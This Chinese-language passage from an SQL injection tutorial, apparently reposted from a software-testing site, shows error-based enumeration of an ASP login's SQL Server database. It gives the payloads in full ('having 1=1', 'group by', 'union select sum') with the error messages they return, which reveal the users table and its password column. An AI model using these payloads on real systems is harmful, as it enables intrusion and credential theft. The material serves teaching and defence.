幸運地,如果從應用程序(默認為ASP行為)返回錯誤消息,那么攻擊者可以確定整個數據庫的結構,并且可以以程序中連接SQLSERVER的權限度曲任何值。
(下面以一個簡單的數據庫和asp腳本來舉例說明他們是怎么工作的)
首先,攻擊者想獲得建立用戶的表的名字和字段的名字,要做這些,攻擊者需要使用select語法的having子句:
Username:' having 1=1—
這樣將會出現如下錯誤:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.id' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.
/process_login.asp, line 35
因此現在攻擊者知道了表的名字和第一個地段的名字。他們仍然可以通過把字段放到group by子句只能感去找到一個一個字段名,如下:
Username:' group by users.id having 1=1—
出現的錯誤如下:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
/process_login.asp, line 35
最終攻擊者得到了username字段后:
‘ group by users.id,users.username,users.password,users.privs having 1=1—
這句話并不產生錯誤,相當于:
select * from users where username=''
因此攻擊者現在知道查詢涉及users表,按順序使用列'id,username,password,privs'。
能夠確定每個列的類型是非常有用的。這可以通過使用類型轉化來實現,例如:
Username:' union select sum(username) from users—
這利用了SQLSERVER在確定兩個結果集的字段是否相等前應用sum子句。嘗試去計算sum會得到以下消息:
文章來源于領測軟件測試網 http://www.kjueaiud.com/